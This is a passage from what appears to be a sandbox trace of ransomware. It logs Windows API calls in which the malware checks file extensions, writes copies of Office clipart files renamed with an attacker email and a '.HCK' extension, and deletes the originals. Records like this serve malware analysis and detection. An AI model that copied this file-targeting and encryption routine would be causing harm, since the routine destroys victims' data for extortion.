lpString2=".WMF") returned -1 [0233.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0233.911] lstrlenW (lpString=".zip") returned 4 [0233.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.911] lstrlenW (lpString=".rar") returned 4 [0233.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.912] lstrlenW (lpString=".bz2") returned 4 [0233.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.912] lstrlenW (lpString=".7z") returned 3 [0233.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0233.912] lstrlenW (lpString=".dbf") returned 4 [0233.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0233.912] lstrlenW (lpString=".1cd") returned 4 [0233.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0233.912] lstrlenW (lpString=".jpg") returned 4 [0233.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.912] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.912] lstrlenW (lpString="J0107290.WMF") returned 12 [0233.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.913] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=12308) returned 1 [0233.913] CloseHandle (hObject=0x4c8) returned 1 [0233.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 0x220 [0233.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.916] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.916] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0233.917] GetLastError () returned 0x0 [0233.917] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x3014, lpOverlapped=0x0) returned 1 [0233.919] WriteFile (in: hFile=0x49c, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x3020, lpOverlapped=0x0) returned 1 [0233.920] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.920] WriteFile (in: hFile=0x49c, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.920] SetEndOfFile (hFile=0x49c) returned 1 [0233.920] CloseHandle (hObject=0x49c) returned 1 [0233.920] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.920] SetEndOfFile (hFile=0x4c8) returned 1 [0233.922] CloseHandle (hObject=0x4c8) returned 1 [0233.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 1 [0233.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0233.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0233.923] lstrlenW (lpString=".doc") returned 4 [0233.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.923] lstrlenW (lpString=".docx") returned 5 [0233.923] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0233.923] lstrlenW (lpString=".pdf") returned 4 [0233.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.923] lstrlenW (lpString=".xls") returned 4 [0233.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.923] lstrlenW (lpString=".xlsx") returned 5 [0233.923] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0233.923] lstrlenW (lpString=".ppt") returned 4 [0233.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0233.923] lstrlenW (lpString=".zip") returned 4 [0233.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.923] lstrlenW (lpString=".rar") returned 4 [0233.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.924] lstrlenW (lpString=".bz2") returned 4 [0233.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.924] lstrlenW (lpString=".7z") returned 3 [0233.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0233.924] lstrlenW (lpString=".dbf") returned 4 [0233.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0233.924] lstrlenW (lpString=".1cd") returned 4 [0233.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0233.924] lstrlenW (lpString=".jpg") returned 4 [0233.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0233.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0233.924] lstrlenW (lpString=".doc") returned 4 [0233.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.924] lstrlenW (lpString=".docx") returned 5 [0233.924] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0233.924] lstrlenW (lpString=".pdf") returned 4 [0233.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.924] lstrlenW (lpString=".xls") returned 4 [0233.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.924] lstrlenW (lpString=".xlsx") returned 5 [0233.924] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0233.924] lstrlenW (lpString=".ppt") returned 4 [0233.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0233.924] lstrlenW (lpString=".zip") returned 4 [0233.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.924] lstrlenW (lpString=".rar") returned 4 [0233.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.924] lstrlenW (lpString=".bz2") returned 4 [0233.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.924] lstrlenW (lpString=".7z") returned 3 [0233.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0233.924] lstrlenW (lpString=".dbf") returned 4 [0233.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0233.924] lstrlenW (lpString=".1cd") returned 4 [0233.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0233.924] lstrlenW (lpString=".jpg") returned 4 [0233.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.924] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.924] lstrlenW (lpString="J0107300.WMF") returned 12 [0233.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.925] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=2460) returned 1 [0233.925] CloseHandle (hObject=0x4c8) returned 1 [0233.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 0x220 [0233.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.926] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.926] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0233.926] GetLastError () returned 0x0 [0233.926] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x99c, lpOverlapped=0x0) returned 1 [0233.928] WriteFile (in: hFile=0x49c, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x9a0, lpOverlapped=0x0) returned 1 [0233.928] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.928] WriteFile (in: hFile=0x49c, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.928] SetEndOfFile (hFile=0x49c) returned 1 [0233.928] CloseHandle (hObject=0x49c) returned 1 [0233.928] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.929] SetEndOfFile (hFile=0x4c8) returned 1 [0233.930] CloseHandle (hObject=0x4c8) returned 1 [0233.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 1 [0233.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0233.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0233.932] lstrlenW (lpString=".doc") returned 4 [0233.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString=".docx") returned 5 [0233.932] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0233.932] lstrlenW (lpString=".pdf") returned 4 [0233.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString=".xls") returned 4 [0233.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.932] lstrlenW (lpString=".xlsx") returned 5 [0233.932] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0233.932] lstrlenW (lpString=".ppt") returned 4 [0233.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0233.932] lstrlenW (lpString=".zip") returned 4 [0233.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.932] lstrlenW (lpString=".rar") returned 4 [0233.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString=".bz2") returned 4 [0233.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString=".7z") returned 3 [0233.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0233.932] lstrlenW (lpString=".dbf") returned 4 [0233.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0233.932] lstrlenW (lpString=".1cd") returned 4 [0233.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0233.932] lstrlenW (lpString=".jpg") returned 4 [0233.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0233.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0233.932] lstrlenW (lpString=".doc") returned 4 [0233.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString=".docx") returned 5 [0233.932] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0233.932] lstrlenW (lpString=".pdf") returned 4 [0233.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString=".xls") returned 4 [0233.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.932] lstrlenW (lpString=".xlsx") returned 5 [0233.932] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0233.932] lstrlenW (lpString=".ppt") returned 4 [0233.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0233.932] lstrlenW (lpString=".zip") returned 4 [0233.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.932] lstrlenW (lpString=".rar") returned 4 [0233.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.933] lstrlenW (lpString=".bz2") returned 4 [0233.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.933] lstrlenW (lpString=".7z") returned 3 [0233.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0233.933] lstrlenW (lpString=".dbf") returned 4 [0233.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0233.933] lstrlenW (lpString=".1cd") returned 4 [0233.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0233.933] lstrlenW (lpString=".jpg") returned 4 [0233.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.933] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.933] lstrlenW (lpString="J0107302.WMF") returned 12 [0233.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.933] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=4136) returned 1 [0233.933] CloseHandle (hObject=0x4c8) returned 1 [0233.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 0x220 [0233.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.934] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.934] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0233.935] GetLastError () returned 0x0 [0233.935] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1028, lpOverlapped=0x0) returned 1 [0233.938] WriteFile (in: hFile=0x49c, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1030, lpOverlapped=0x0) returned 1 [0233.938] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.939] WriteFile (in: hFile=0x49c, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.939] SetEndOfFile (hFile=0x49c) returned 1 [0233.939] CloseHandle (hObject=0x49c) returned 1 [0233.939] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.939] SetEndOfFile (hFile=0x4c8) returned 1 [0233.941] CloseHandle (hObject=0x4c8) returned 1 [0233.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 1 [0233.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0233.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0233.942] lstrlenW (lpString=".doc") returned 4 [0233.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.942] lstrlenW (lpString=".docx") returned 5 [0233.942] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.942] lstrlenW (lpString=".pdf") returned 4 [0233.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.942] lstrlenW (lpString=".xls") returned 4 [0233.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.942] lstrlenW (lpString=".xlsx") returned 5 [0233.942] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.942] lstrlenW (lpString=".ppt") returned 4 [0233.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0233.942] lstrlenW (lpString=".zip") returned 4 [0233.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.942] lstrlenW (lpString=".rar") returned 4 [0233.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.942] lstrlenW (lpString=".bz2") returned 4 [0233.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.942] lstrlenW (lpString=".7z") returned 3 [0233.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0233.942] lstrlenW (lpString=".dbf") returned 4 [0233.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0233.942] lstrlenW (lpString=".1cd") returned 4 [0233.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0233.942] lstrlenW (lpString=".jpg") returned 4 [0233.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0233.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0233.942] lstrlenW (lpString=".doc") returned 4 [0233.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.942] lstrlenW (lpString=".docx") returned 5 [0233.942] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.942] lstrlenW (lpString=".pdf") returned 4 [0233.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.942] lstrlenW (lpString=".xls") returned 4 [0233.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.942] lstrlenW (lpString=".xlsx") returned 5 [0233.942] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.942] lstrlenW (lpString=".ppt") returned 4 [0233.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0233.943] lstrlenW (lpString=".zip") returned 4 [0233.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.943] lstrlenW (lpString=".rar") returned 4 [0233.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.943] lstrlenW (lpString=".bz2") returned 4 [0233.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.943] lstrlenW (lpString=".7z") returned 3 [0233.943] 